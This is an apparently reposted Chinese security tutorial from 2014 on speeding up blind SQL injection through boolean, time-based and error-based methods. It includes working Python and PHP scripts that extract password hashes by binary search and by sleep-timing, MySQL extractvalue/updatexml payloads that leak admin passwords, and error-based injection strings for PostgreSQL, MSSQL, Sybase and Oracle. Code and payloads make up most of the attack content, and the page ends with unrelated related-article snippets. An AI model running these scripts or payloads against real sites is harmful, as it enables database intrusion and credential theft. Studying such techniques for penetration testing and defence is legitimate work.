详解SQL盲注测试高级技巧

标签: WEB安全 sql注入教程 | 发表时间:2014-04-03 18:08 | 作者:lanlan
出处:http://www.freebuf.com

写在前面:

这篇文章主要写了一些加快盲注速度的技巧和盲注中比较精巧的语句,虽然注入并不是什么新技术了。但是数据库注入漏洞依然困扰着每一个安全厂商,也鞭策着每一个安全从业者不断前进。

正文:

首先来简单介绍一下盲注,盲注是不能通过直接显示的途径来获取数据库数据的方法。在盲注中,攻击者根据其返回页面的不同来判断信息(可能是页面内容的不同,也可以是响应时间不同)。一般情况下,盲注可分为三类。

Booleanbase
Timebase
Errorbase

其中第一类Boolean就是我们最常接触到的普通盲注。

比如在where语句中可以构造or 1=1来使返回页面不同。(这里用mysql演示一下,大家体会就好)

mysql> select 123 from dual where 1=1;
+-----+
| 123 |
+-----+
| 123 |
+-----+
1 row in set (0.00 sec)
mysql> select 123 from dual where 1=0;
Empty set (0.00 sec)

如果注入点在order by后面,那么则可以使用判断语句来构造报错。(其实order by后面的注入也可以根据返回结果的顺序来判断,这里自由发挥就好:P)

mysql> select 1 from te order by if(1,1,(select 1 union select 2)) limit 0,3;
+---+
| 1 |
+---+
| 1 |
| 1 |
| 1 |
+---+
3 rows in set (0.00 sec)
mysql> select 1 from te order by if(0,1,(select 1 union select 2)) limit 0,3;
ERROR 1242 (21000): Subquery returns more than 1 row

基于时间的盲注的话,mysql主要涉及两个函数,sleep banchmark 基本是使用如下。

mysql> select 1 from te where if(1=1,sleep(1),1) limit 0,1;
Empty set (27.00 sec)
mysql> select 1 from te where if(1=2,sleep(1),1) limit 0,1;
+---+
| 1 |
+---+
| 1 |
+---+
1 row in set (0.00 sec)

基于报错的盲注,需要网站显示数据库报错信息,后面会有详细阐述。


知道了怎么判断ture or false之后就是获取数据了,当然你可以暴力测试每一个ascii码,不过这需要很多次尝试,如果你家正巧网速不好那么速度将会是十分缓慢的。

拿32位hash为例,暴力猜解的话许要 16*32=512次查询(因为hash一般是16进制,只有16种可能)。如果是一段包含大小写字母和特殊字符的32位字符串那?大概需要 72*32=2304次查询,这就比较多了。想要减少盲注查询的次数,一般会用到如下几种方法。

字频统计:

根据英文中字母出现的频率进行猜测,这种方法仅局限于用户名这样有意义的字符串,并不能应用于hash这样的无规律字符串。而且仅限于纯字母的猜测。 wiki百科上有字母使用频率的统计。

那么根据字频统计,e出现的概率最高,a其次,那我们就先猜测e,再猜测a。更近一步,我们可以使用双字的字频来进一步提高效率,比如th在英文中出现的概率很高。那么在第一个字母是t之后,我们下个字符第一个猜测h。

ps.这种方法的效率有多高哪?只能说看脸。

二分查找,位运算法:

 把他们两个放在一起是因为他们的作用是相同的都会把试探字符串的次数降低到log(n)*length (n为可能字符的数量)。

首先来说二分查找,它的原理是把可能出现的字符看做一个有序的序列,这样在查找所要查找的元素时,首先与序列中间的元素进行比较,如果大于这个元素,就在当前序列的后半部分继续查找,如果小于这个元素,就在当前序列的前半部分继续查找,直到找到相同的元素,或者所查找的序列范围为空为止。

使用而返查找确定一个hash散列的一位,只需要4次查询(2^4=16),也就是说确定一个32位hash,只需要126次请求,大大缩短了查询的次数。

这里给出一个二分查找的pyhton源代码

import urllib
import urllib2
def doinject(payload):
    url = 'xxxxxxxxxxxxxxxxxxxxx'
    values = {'injection':payload,'inject':'Inject'}
    data = urllib.urlencode(values)
    #print data
    req = urllib2.Request(url, data)
    req.add_header('cookie','xx=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx')
    response = urllib2.urlopen(req)
    the_page = response.read()
    if (the_page.find("Welcome back")>0):
        return True
    else:
        return False
    
wordlist = "0123456789ABCDEF"
res = ""
for i in range(1,33):
    s=0
    t=15
    while (s<t):
        if (t-s==1):
            if doinject('\' or substring(password,'+str(i)+',1)=\''+wordlist[t]+'\' -- LanLan'):
                m=t
                break
            else:
                m=s
                break
        m=(s+t)/2
        if doinject('\' or substring(password,'+str(i)+',1)>\''+wordlist[m]+'\' -- LanLan'):
            s=m+1
            print wordlist[s]+":"+wordlist[t]
        else:
            t=m
            print wordlist[s]+":"+wordlist[t]
    res = res+wordlist[m]
    print res

这里还有使用正则表达式来进行二分查找的php实现

$sUrl = 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx';
$sPost = 'inject=Inject&injection=';
$sCharset = 'ABCDEF0123456789';
 
 
/* for every character */
for ($i=0, $hash=''; $i<32; ++$i) {
        $ch = $sCharset;
 
        do {
                $ch1 = substr($ch, 0, intval(strlen($ch)/2));
                $ch2 = substr($ch, intval(strlen($ch)/2));
                
                $p = $sPost.'absolutelyimpossible\' OR 1=(SELECT 1 FROM blight WHERE password REGEXP \'^'.$hash.'['.$ch1.']\' AND sessid=xxx) AND \'1\'=\'1';
                $res = libHTTP::POST($sUrl, $p);
 
                if (strpos($res['content'], 'Your password is wrong') === false)
                        $ch = $ch1;
                else 
                        $ch = $ch2;
                
        } while (strlen($ch) > 1);
        
        $hash .= $ch;
        echo "\rhash: ".$hash;
}

ps:上面的代码都是针对32位hash的盲注

再说位运算,它的原理是每次请求确定二进制的一位,对于ascii码连续的区间时间复杂度为log(n)*length,所以相对于二分查找,它应用起来比较有局限性。

mysql中位运算的与运算是&,我们主要用它来进行猜测,比如a的ascii码是1100001,那么我们可以使用1,2,4,8,16…..依次与他进行与运算,最终得到结果。

mysql> select ord('a') & 1;
+--------------+
| ord('a') & 1 |
+--------------+
|            1 |
+--------------+
1 row in set (0.00 sec)
mysql> select ord('a') & 2;
+--------------+
| ord('a') & 2 |
+--------------+
|            0 |
+--------------+
1 row in set (0.00 sec)
mysql> select ord('a') & 4;
+--------------+
| ord('a') & 4 |
+--------------+
|            0 |
+--------------+
1 row in set (0.00 sec)


基于时间的盲注:

上面的方法,都是通过返回页面的不同来获取信息,所以理论上来说每次,最多只能确定一个二进制位(true or false)。但是,在盲注过程中还有一个重要的因素可以帮助我们获取信息,那就是页面返回时间的长短。通过如下的语句,我们可以通过一次请求确定一个字符的ascii码。如果是一串32位的hash,那么只需要32次请求,即可得到答案。

' or sleep(ord(substr(password,1,1))) --

利用语句一般可以写成这样

mysql> select sleep(find_in_set(mid(@@version, 1, 1), '0,1,2,3,4,5,6,7,8,9,.'));
1 row in set (6.00 sec)
mysql> select sleep(find_in_set(mid(@@version, 2, 1), '0,1,2,3,4,5,6,7,8,9,.'));
1 row in set (11.00 sec)

推荐使用,sleep而不要使用benchmark,因为sleep不会占用cpu而且比较稳定。

下面给出一个针对32位hash的盲注算法

import urllib
import urllib2
import socket
from time import time
socket.setdefaulttimeout(1000000)
def doinject(payload):
    url = 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'
    values = {'injection':payload,'inject':'Inject'}
    data = urllib.urlencode(values)
    #print data
    req = urllib2.Request(url, data)
    req.add_header('cookie','xx=xxxxxxxxxxxxxxxxxxxxxxxxxxxx')
    start = time()
    response = urllib2.urlopen(req)
    end = time()
    #print response.read()
    index = int(end-start)
    print 'index:'+ str(index)
    print 'char:' + wordlist[index-1]
    return index
wordlist = "0123456789ABCDEF"
res = ""
for i in range(1,34):
    num = doinject('\' or sleep( find_in_set(substring(password, '+str(i)+', 1), \'0,1,2,3,4,5,6,7,8,9,A,B,C,D,E,F\')) -- LanLan')
    res = res+wordlist[num-1]
    print res

这里还有注意一点,sleep在where语句中会被计算多次,在实际应用中需要根据表中的记录数,做相应的处理。

比如有一个2个记录的表

select count(*) from test;
    +----------+
    | count(*) |
    +----------+
    |        2 |
    +----------+

如果直接查询,因为两个记录都会引发查询所以会触发两次sleep()延迟12秒

select * from test where sleep(locate(mid(@@version, 1, 1), '0123456789.'));
Empty set (12.00 sec)

这里在前面使用一个条件语句,因为and前面的表达式如果为false则后面的不执行,所以sleep执行一次,延迟6秒

select * from test where a=1 and sleep(locate(mid(@@version, 1, 1), '0123456789.'));
Empty set (6.00 sec)

ps.这种方法很怕网络不稳定。

基于报错的盲注:

如果页面上显示数据的报错信息,那么可以直接使用报错的方式把想要的信息爆出来。

比如在mysql中我们可以使用如下的经典语句进行报错。

select 1,2 union select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x;

这是网上流传很广的一个版本,可以简化成如下的形式。

select count(*) from information_schema.tables group by concat(version(),floor(rand(0)*2))

如果关键的表被禁用了,可以使用这种形式

select count(*) from (select 1 union select null union select !1) group by concat(version(),floor(rand(0)*2))

如果rand被禁用了可以使用用户变量来报错

select min(@a:=1) from information_schema.tables group by concat(password,@a:=(@a+1)%2)

其实这是mysql的一个 bug所引起的,其他数据库都不会因为这个问题而报错。

另外,在mysql5.1版本新加入两个xml函数,也可以用来报错。

mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,(select pass from admin limit 1)));
ERROR 1105 (HY000): XPATH syntax error: '\admin888'  
mysql> select * from article where id = 1 and 1=(updatexml(1,concat(0x5e24,(select pass from admin limit 1),0x5e24),1));  
ERROR 1105 (HY000): XPATH syntax error: '^$admin888^$'

而在其他数据库中也可以使用不同的方法构成报错

PostgreSQL: /?param=1 and(1)=cast(version() as numeric)-- 
MSSQL: /?param=1 and(1)=convert(int,@@version)-- 
Sybase: /?param=1 and(1)=convert(int,@@version)-- 
Oracle >=9.0: /?param=1 and(1)=(select upper(XMLType(chr(60)||chr(58)||chr(58)||(select 
replace(banner,chr(32),chr(58)) from sys.v_$version where rownum=1)||chr(62))) from dual)--

参考文献:

METHODS OF QUICK EXPLOITATION OF BLIND SQL INJECTION

Indexed Blind SQL Injection

相关 [sql 盲注 测试] 推荐:

详解SQL盲注测试高级技巧

- - FreeBuf.COM
这篇文章主要写了一些加快盲注速度的技巧和盲注中比较精巧的语句,虽然注入并不是什么新技术了. 但是数据库注入漏洞依然困扰着每一个安全厂商,也鞭策着每一个安全从业者不断前进. 首先来简单介绍一下盲注,盲注是不能通过直接显示的途径来获取数据库数据的方法. 在盲注中,攻击者根据其返回页面的不同来判断信息(可能是页面内容的不同,也可以是响应时间不同).

Web应用手工渗透测试——用SQLMap进行SQL盲注测试

- - FreeBuf.COM
本文主要关注SQL注入,假设读者已经了解一般的 SQL注入技术,在我之前的文章中有过介绍,即通过输入不同的参数,等待服务器的反应,之后通过不同的前缀和后缀(suffix and prefix )注入到数据库. 本文将更进一步,讨论SQL盲注,如果读者没有任何相关知识储备,建议先去wikipedia学习一下.

SQL连接并发测试(mongodb连接测试引发的)

- Bloger - 博客园-首页原创精华区
       最近一直在搞mongodb 文件服务器大量文件并发上传测试,在官方文档发现mongo是线程安全的,支持单一连接下的并发操作. 印象ADO.NET 似乎不支持单一连接并发. (前两篇小记一直纠结mongodb吃内存导致并发文件上传变慢问题,经过这两天测试,发现文件并发上传越来越慢的瓶颈是磁盘的IO读写的瓶颈).

jdbc测试mysql数据库sql预解析(绑定变量)

- - CSDN博客推荐文章
jdbc测试mysql数据库sql预解析(绑定变量).         用习惯了oracle,学习mysql,想测试一下mysql绑定变量的效果. 以前看网上介绍大部份都说mysql没有sql共享池的概念,所以也不存在sql预解析或绑定变量的说法.         今天测试了一下(通过网络抓包和看服务器端sql日志的方法),发现mysql还是有sql预解析的实现.

SQL性能小测试得出的惊人结果:60%失败

- - 博客 - 伯乐在线
2011年,我开展了“3分钟测试你对SQL性能知道多少?”的测试活动. 其中包含五个问题,它们是这样的:每个问题有一个query/index查询,问你这样是否正确使用了索引. 至今, 这个测试已经成了  Use The Index, Luke网站上的一个热点. 这个测试已经被回答了28,000次.

[转]一些常用的postgis数据库的查询sql(经测试全部可用)

- - 小鸥的博客
select name,st_distance(ST_MAKEPOINT(116.561, 40.276),geom) as distance from shengjie_region where name='天津市' or name ='辽宁省' or name='北京市'. SELECT ST_AsText(geom) as wkt FROM shengjie_region where name = '新疆维吾尔自治区'.

PL/SQL动态SQL(原创)

- - ITeye博客
使用动态SQL是在编写PL/SQL过程时经常使用的方法之一. 很多情况下,比如根据业务的需要,如果输入不同查询条件,则生成不同的执行SQL查询语句,对于这种情况需要使用动态SQL来完成. 再比如,对于分页的情况,对于不同的表,必定存在不同的字段,因此使用静态SQL则只能针对某几个特定的表来形成分页.

Derby SQL 分页

- - ITeye博客
    之前在网上看到有人问 Derby SQL 分页实现的问题,网上有人给出这样的解决方案,SQL 如下:. 其实,这样的分页查询,性能不理想,我试过在 300W 数据量中采用这种分页方式,需要 20~30秒之久;其实 Derby 10.6 以上版本有更好的分页支持,直接给出 SQL 实现如下:.

SQL Server--索引

- - CSDN博客推荐文章
         1,概念:  数据库索引是对数据表中一个或多个列的值进行排序的结构,就像一本书的目录一样,索引提供了在行中快速查询特定行的能力..             2.1优点:  1,大大加快搜索数据的速度,这是引入索引的主要原因..                             2,创建唯一性索引,保证数据库表中每一行数据的唯一性..

MySql动态SQL

- - SQL - 编程语言 - ITeye博客
13.7. 用于预处理语句的SQL语法. MySQL 5.1对服务器一方的预制语句提供支持. 如果您使用合适的客户端编程界面,则这种支持可以发挥在MySQL 4.1中实施的高效客户端/服务器二进制协议的优势. 候选界面包括MySQL C API客户端库(用于C程序)、MySQL Connector/J(用于Java程序)和MySQL Connector/NET.